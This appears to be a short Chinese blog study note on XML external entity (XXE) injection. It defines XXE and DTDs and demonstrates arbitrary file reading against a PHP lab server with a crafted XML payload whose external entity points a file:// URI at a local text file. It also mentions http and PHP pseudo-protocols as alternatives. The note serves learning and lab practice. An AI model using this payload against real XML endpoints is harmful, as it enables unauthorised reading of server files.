XXE简要学习笔记

XXE:外部实体注入漏洞,外部实体指xml的DTD中声明和调用资源来自外部,包括本地其他文件和远程url资源,当DTD可以被用户控制时就可能造成任意文件读取或者内网扫描。内部实体指DTD申明写在XML内容头部。

DTD:文档类型定义,就是xml标签的属性类型等定义的声明部分。

以php为例,任意文件读取利用演示:
服务端:

file

可以看见服务端讲post内容,加载为xml,DTD部分就由用户控制。

构造包:

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE user [  
  <!ELEMENT user ANY >
<!ENTITY username SYSTEM "file:///***/localhost/xxe-lab-master/php_xxe/1.txt" >]>
<user><username>&username;</username><password>123</password></user>

可以看到这里用了file协议,当然也可以用http,php伪协议等其他的,这里的路径必须是绝对路径。

file

1.txt是我自定义写入的内容。

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据